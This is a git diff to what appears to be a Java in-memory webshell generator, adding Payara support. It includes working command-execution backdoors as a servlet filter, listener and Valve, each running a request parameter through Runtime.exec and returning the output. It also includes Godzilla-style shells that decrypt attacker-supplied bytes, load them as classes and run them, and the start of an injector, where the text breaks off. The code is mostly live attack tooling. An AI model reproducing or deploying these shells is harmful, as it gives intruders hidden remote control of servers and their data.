diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6cae4bfb..87a6fc2a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -27,7 +27,7 @@ jobs:
integration-test:
strategy:
matrix:
- middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin" ]
+ middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara" ]
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
needs: [ unit-test ]
diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java
index cb1b16de..08cef7fc 100644
--- a/generator/src/main/java/com/reajason/javaweb/config/Server.java
+++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
import com.reajason.javaweb.memsell.jboss.JbossShell;
import com.reajason.javaweb.memsell.jetty.JettyShell;
+import com.reajason.javaweb.memsell.payara.PayaraShell;
import com.reajason.javaweb.memsell.resin.ResinShell;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import com.reajason.javaweb.memsell.undertow.UndertowShell;
@@ -63,6 +64,11 @@ public enum Server {
*/
GlassFish(new GlassFishShell()),
+ /**
+ * Payara 中间件 PayaraDownload
+ */
+ Payara(new PayaraShell()),
+
/**
* 宝兰德中间件
*/
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java
index 4aabc793..ef500023 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java
@@ -8,10 +8,10 @@ import com.reajason.javaweb.memsell.glassfish.command.CommandListener;
import com.reajason.javaweb.memsell.glassfish.command.CommandValve;
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener;
+import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector;
-import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java
new file mode 100644
index 00000000..20a7ef0d
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java
@@ -0,0 +1,137 @@
+package com.reajason.javaweb.memsell.glassfish.godzilla;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaValve extends ClassLoader implements Valve {
+ public String key = "{{key}}";
+ public String pass = "{{pass}}";
+ public String md5 = "{{md5}}";
+ public String headerName = "{{headerName}}";
+ public String headerValue = "{{headerValue}}";
+ protected Valve next;
+ protected boolean asyncSupported;
+
+ public GodzillaValve() {
+ }
+
+ public GodzillaValve(ClassLoader z) {
+ super(z);
+ }
+
+ @SuppressWarnings("all")
+ public static String base64Encode(byte[] bs) {
+ String value = null;
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Encoder");
+ Object Encoder = base64.newInstance();
+ value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
+ } catch (Exception var5) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public static byte[] base64Decode(String bs) {
+ byte[] value = null;
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+ } catch (Exception var5) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public Class Q(byte[] cb) {
+ return super.defineClass(cb, 0, cb.length);
+ }
+
+ public byte[] x(byte[] s, boolean m) {
+ try {
+ Cipher c = Cipher.getInstance("AES");
+ c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+ return c.doFinal(s);
+ } catch (Exception var4) {
+ return null;
+ }
+ }
+
+ @Override
+ public Valve getNext() {
+ return this.next;
+ }
+
+ @Override
+ public void setNext(Valve valve) {
+ this.next = valve;
+ }
+
+ @Override
+ public boolean isAsyncSupported() {
+ return this.asyncSupported;
+ }
+
+ @Override
+ public void backgroundProcess() {
+ }
+
+ @Override
+ @SuppressWarnings("all")
+ public void invoke(Request request, Response response) throws IOException, ServletException {
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpSession session = request.getSession();
+ byte[] data = base64Decode(request.getParameter(pass));
+ data = this.x(data, false);
+ if (session.getAttribute("payload") == null) {
+ session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
+ } else {
+ request.setAttribute("parameters", data);
+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+ Object f = ((Class) session.getAttribute("payload")).newInstance();
+ f.equals(arrOut);
+ f.equals(data);
+ f.equals(request);
+ response.getWriter().write(md5.substring(0, 16));
+ f.toString();
+ response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+ response.getWriter().write(md5.substring(16));
+ response.flushBuffer();
+ }
+ } else {
+ this.getNext().invoke(request, response);
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ this.getNext().invoke(request, response);
+ }
+
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java
new file mode 100644
index 00000000..01167ce7
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java
@@ -0,0 +1,56 @@
+package com.reajason.javaweb.memsell.payara;
+
+import com.reajason.javaweb.config.Constants;
+import com.reajason.javaweb.config.ShellTool;
+import com.reajason.javaweb.memsell.AbstractShell;
+import com.reajason.javaweb.memsell.payara.command.CommandFilter;
+import com.reajason.javaweb.memsell.payara.command.CommandListener;
+import com.reajason.javaweb.memsell.payara.command.CommandValve;
+import com.reajason.javaweb.memsell.payara.godzilla.GodzillaFilter;
+import com.reajason.javaweb.memsell.payara.godzilla.GodzillaListener;
+import com.reajason.javaweb.memsell.payara.godzilla.GodzillaValve;
+import com.reajason.javaweb.memsell.payara.injector.PayaraFilterInjector;
+import com.reajason.javaweb.memsell.payara.injector.PayaraListenerInjector;
+import com.reajason.javaweb.memsell.payara.injector.PayaraValveInjector;
+import org.apache.commons.lang3.tuple.Pair;
+
+import java.util.List;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class PayaraShell extends AbstractShell {
+ public static final String VALVE = "Valve";
+ public static final String JAKARTA_VALVE = "JakartaValve";
+
+ @Override
+ public List getSupportedShellTools() {
+ return List.of(ShellTool.Command, ShellTool.Godzilla);
+ }
+
+ @Override
+ protected Map, Class>>> getCommandShellMap() {
+ return Map.of(
+ Constants.FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
+ Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
+ Constants.LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
+ Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
+ VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class),
+ JAKARTA_VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class)
+ );
+ }
+
+ @Override
+ protected Map, Class>>> getGodzillaShellMap() {
+ return Map.of(
+ Constants.FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
+ Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
+ Constants.LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
+ Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
+ VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class),
+ JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
+ );
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java
new file mode 100644
index 00000000..4dc4c9b0
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java
@@ -0,0 +1,48 @@
+package com.reajason.javaweb.memsell.payara.command;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandFilter implements Filter {
+ public String paramName = "{{paramName}}";
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ @Override
+ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+ HttpServletRequest servletRequest = (HttpServletRequest) request;
+ HttpServletResponse servletResponse = (HttpServletResponse) response;
+ String cmd = servletRequest.getParameter(paramName);
+ try {
+ if (cmd != null) {
+ Process exec = Runtime.getRuntime().exec(cmd);
+ InputStream inputStream = exec.getInputStream();
+ ServletOutputStream outputStream = servletResponse.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
+ } else {
+ chain.doFilter(servletRequest, servletResponse);
+ }
+ } catch (Exception e) {
+ chain.doFilter(servletRequest, servletResponse);
+ }
+ }
+
+ @Override
+ public void destroy() {
+
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java
new file mode 100644
index 00000000..4ec5d523
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java
@@ -0,0 +1,78 @@
+package com.reajason.javaweb.memsell.payara.command;
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class CommandListener implements ServletRequestListener {
+ public String paramName = "{{paramName}}";
+
+ public CommandListener() {
+ }
+
+ @SuppressWarnings("all")
+ public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+ Field field = null;
+ Class> clazz = obj.getClass();
+ while (clazz != Object.class) {
+ try {
+ field = clazz.getDeclaredField(name);
+ break;
+ } catch (NoSuchFieldException var5) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ if (field == null) {
+ throw new NoSuchFieldException(name);
+ } else {
+ field.setAccessible(true);
+ return field.get(obj);
+ }
+ }
+
+ @Override
+ public void requestDestroyed(ServletRequestEvent sre) {
+
+ }
+
+ @Override
+ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+ HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+ try {
+ String cmd = request.getParameter(paramName);
+ if (cmd != null) {
+ HttpServletResponse servletResponse = this.getResponseFromRequest(request);
+ Process exec = Runtime.getRuntime().exec(cmd);
+ InputStream inputStream = exec.getInputStream();
+ ServletOutputStream outputStream = servletResponse.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
+ }
+ } catch (Exception ignored) {
+ }
+ }
+
+ private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+ HttpServletResponse response = null;
+ try {
+ response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
+ } catch (Exception e) {
+ try {
+ response = (HttpServletResponse) getFieldValue(request, "response");
+ } catch (Exception ee) {
+ response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
+ }
+ }
+ return response;
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java
new file mode 100644
index 00000000..31ab5df5
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java
@@ -0,0 +1,62 @@
+package com.reajason.javaweb.memsell.payara.command;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.servlet.ServletException;
+import javax.servlet.ServletOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ */
+public class CommandValve implements Valve {
+ public String paramName = "{{paramName}}";
+ protected Valve next;
+ protected boolean asyncSupported;
+
+ public CommandValve() {
+ }
+
+ @Override
+ public Valve getNext() {
+ return this.next;
+ }
+
+ @Override
+ public void setNext(Valve valve) {
+ this.next = valve;
+ }
+
+ @Override
+ public boolean isAsyncSupported() {
+ return this.asyncSupported;
+ }
+
+ @Override
+ public void backgroundProcess() {
+ }
+
+ @Override
+ public void invoke(Request request, Response response) throws IOException, ServletException {
+ try {
+ String cmd = request.getParameter(paramName);
+ if (cmd != null) {
+ Process exec = Runtime.getRuntime().exec(cmd);
+ InputStream inputStream = exec.getInputStream();
+ ServletOutputStream outputStream = response.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
+ } else {
+ this.getNext().invoke(request, response);
+ }
+ } catch (Exception e) {
+ this.getNext().invoke(request, response);
+ }
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java
new file mode 100644
index 00000000..135173ed
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java
@@ -0,0 +1,127 @@
+package com.reajason.javaweb.memsell.payara.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaFilter extends ClassLoader implements Filter {
+ public String key = "{{key}}";
+ public String pass = "{{pass}}";
+ public String md5 = "{{md5}}";
+ public String headerName = "{{headerName}}";
+ public String headerValue = "{{headerValue}}";
+
+ public GodzillaFilter() {
+ }
+
+ public GodzillaFilter(ClassLoader z) {
+ super(z);
+ }
+
+ @SuppressWarnings("all")
+ public static String base64Encode(byte[] bs) throws Exception {
+ String value = null;
+ Class> base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object encoder = base64.getMethod("getEncoder", (Class>[]) null).invoke(base64, (Object[]) null);
+ value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Encoder");
+ Object encoder = base64.newInstance();
+ value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+ } catch (Exception ignored) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public static byte[] base64Decode(String bs) {
+ byte[] value = null;
+ Class> base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", (Class>[]) null).invoke(base64, (Object[]) null);
+ value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+ } catch (Exception ignored) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public Class> Q(byte[] cb) {
+ return super.defineClass(cb, 0, cb.length);
+ }
+
+ public byte[] x(byte[] s, boolean m) {
+ try {
+
+ Cipher c = Cipher.getInstance("AES");
+ c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+ return c.doFinal(s);
+ } catch (Exception var4) {
+ return null;
+ }
+ }
+
+ @Override
+ @SuppressWarnings("all")
+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
+ HttpServletRequest request = (HttpServletRequest) servletRequest;
+ HttpServletResponse response = (HttpServletResponse) servletResponse;
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpSession session = request.getSession();
+ byte[] data = base64Decode(request.getParameter(pass));
+ data = this.x(data, false);
+ if (session.getAttribute("payload") == null) {
+ session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
+ } else {
+ request.setAttribute("parameters", data);
+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+ Object f;
+ try {
+ f = ((Class>) session.getAttribute("payload")).newInstance();
+ } catch (InstantiationException | IllegalAccessException e) {
+ throw new RuntimeException(e);
+ }
+ f.equals(arrOut);
+ f.equals(request);
+ response.getWriter().write(md5.substring(0, 16));
+ f.toString();
+ response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+ response.getWriter().write(md5.substring(16));
+ }
+
+ } else {
+ chain.doFilter(servletRequest, servletResponse);
+ }
+ } catch (Exception e) {
+ chain.doFilter(servletRequest, servletResponse);
+ }
+ }
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+ }
+
+ @Override
+ public void destroy() {
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java
new file mode 100644
index 00000000..0e98e1ad
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java
@@ -0,0 +1,152 @@
+package com.reajason.javaweb.memsell.payara.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaListener extends ClassLoader implements ServletRequestListener {
+ public String key = "{{key}}";
+ public String pass = "{{pass}}";
+ public String md5 = "{{md5}}";
+ public String headerName = "{{headerName}}";
+ public String headerValue = "{{headerValue}}";
+
+ public GodzillaListener() {
+ }
+
+ public GodzillaListener(ClassLoader z) {
+ super(z);
+ }
+
+ @SuppressWarnings("all")
+ public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+ Field field = null;
+ Class> clazz = obj.getClass();
+ while (clazz != Object.class) {
+ try {
+ field = clazz.getDeclaredField(name);
+ break;
+ } catch (NoSuchFieldException var5) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ if (field == null) {
+ throw new NoSuchFieldException(name);
+ } else {
+ field.setAccessible(true);
+ return field.get(obj);
+ }
+ }
+
+ @SuppressWarnings("all")
+ public static String base64Encode(byte[] bs) throws Exception {
+ String value = null;
+ Class> base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object encoder = base64.getMethod("getEncoder", (Class>[]) null).invoke(base64, (Object[]) null);
+ value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Encoder");
+ Object encoder = base64.newInstance();
+ value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+ } catch (Exception ignored) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public static byte[] base64Decode(String bs) {
+ byte[] value = null;
+ Class> base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", (Class>[]) null).invoke(base64, (Object[]) null);
+ value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+ } catch (Exception ignored) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("deprecation")
+ public Class> Q(byte[] cb) {
+ return super.defineClass(cb, 0, cb.length);
+ }
+
+ public byte[] x(byte[] s, boolean m) {
+ try {
+ Cipher c = Cipher.getInstance("AES");
+ c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+ return c.doFinal(s);
+ } catch (Exception var4) {
+ return null;
+ }
+ }
+
+ @Override
+ public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+ }
+
+ @Override
+ @SuppressWarnings("all")
+ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+ HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+ try {
+ if (request.getHeader(headerName) != null
+ && request.getHeader(headerName).contains(headerValue)) {
+ HttpServletResponse response = this.getResponseFromRequest(request);
+ HttpSession session = request.getSession();
+ byte[] data = base64Decode(request.getParameter(pass));
+ data = this.x(data, false);
+ if (session.getAttribute("payload") == null) {
+ session.setAttribute(
+ "payload",
+ (new GodzillaListener(this.getClass().getClassLoader())).Q(data));
+ } else {
+ request.setAttribute("parameters", data);
+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+ Object f = ((Class>) session.getAttribute("payload")).newInstance();
+ f.equals(arrOut);
+ f.equals(request);
+ response.getWriter().write(md5.substring(0, 16));
+ f.toString();
+ response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+ response.getWriter().write(md5.substring(16));
+ response.flushBuffer();
+ }
+ }
+ } catch (Exception ignored) {
+ }
+ }
+
+ private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+ HttpServletResponse response = null;
+ try {
+ response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
+ } catch (Exception e) {
+ try {
+ response = (HttpServletResponse) getFieldValue(request, "response");
+ } catch (Exception ee) {
+ response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
+ }
+ }
+ return response;
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java
new file mode 100644
index 00000000..f71a7dde
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java
@@ -0,0 +1,137 @@
+package com.reajason.javaweb.memsell.payara.godzilla;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaValve extends ClassLoader implements Valve {
+ public String key = "{{key}}";
+ public String pass = "{{pass}}";
+ public String md5 = "{{md5}}";
+ public String headerName = "{{headerName}}";
+ public String headerValue = "{{headerValue}}";
+ protected Valve next;
+ protected boolean asyncSupported;
+
+ public GodzillaValve() {
+ }
+
+ public GodzillaValve(ClassLoader z) {
+ super(z);
+ }
+
+ @SuppressWarnings("all")
+ public static String base64Encode(byte[] bs) {
+ String value = null;
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Encoder");
+ Object Encoder = base64.newInstance();
+ value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
+ } catch (Exception var5) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public static byte[] base64Decode(String bs) {
+ byte[] value = null;
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+ } catch (Exception var5) {
+ }
+ }
+ return value;
+ }
+
+ @SuppressWarnings("all")
+ public Class Q(byte[] cb) {
+ return super.defineClass(cb, 0, cb.length);
+ }
+
+ public byte[] x(byte[] s, boolean m) {
+ try {
+ Cipher c = Cipher.getInstance("AES");
+ c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+ return c.doFinal(s);
+ } catch (Exception var4) {
+ return null;
+ }
+ }
+
+ @Override
+ public Valve getNext() {
+ return this.next;
+ }
+
+ @Override
+ public void setNext(Valve valve) {
+ this.next = valve;
+ }
+
+ @Override
+ public boolean isAsyncSupported() {
+ return this.asyncSupported;
+ }
+
+ @Override
+ public void backgroundProcess() {
+ }
+
+ @Override
+ @SuppressWarnings("all")
+ public void invoke(Request request, Response response) throws IOException, ServletException {
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpSession session = request.getSession();
+ byte[] data = base64Decode(request.getParameter(pass));
+ data = this.x(data, false);
+ if (session.getAttribute("payload") == null) {
+ session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
+ } else {
+ request.setAttribute("parameters", data);
+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+ Object f = ((Class) session.getAttribute("payload")).newInstance();
+ f.equals(arrOut);
+ f.equals(data);
+ f.equals(request);
+ response.getWriter().write(md5.substring(0, 16));
+ f.toString();
+ response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+ response.getWriter().write(md5.substring(16));
+ response.flushBuffer();
+ }
+ } else {
+ this.getNext().invoke(request, response);
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ this.getNext().invoke(request, response);
+ }
+
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java
new file mode 100644
index 00000000..fab4504f
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java
@@ -0,0 +1,218 @@
+package com.reajason.javaweb.memsell.payara.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class PayaraFilterInjector {
+ Logger log = Logger.getLogger(PayaraFilterInjector.class.getName());
+
+ public String getUrlPattern() {
+ return "{{urlPattern}}";
+ }
+
+
+ public String getClassName() {
+ return "{{className}}";
+ }
+
+ public String getBase64String() throws IOException {
+ return "{{base64Str}}";
+ }
+
+ static {
+ new PayaraFilterInjector();
+ }
+
+ public PayaraFilterInjector() {
+ try {
+ List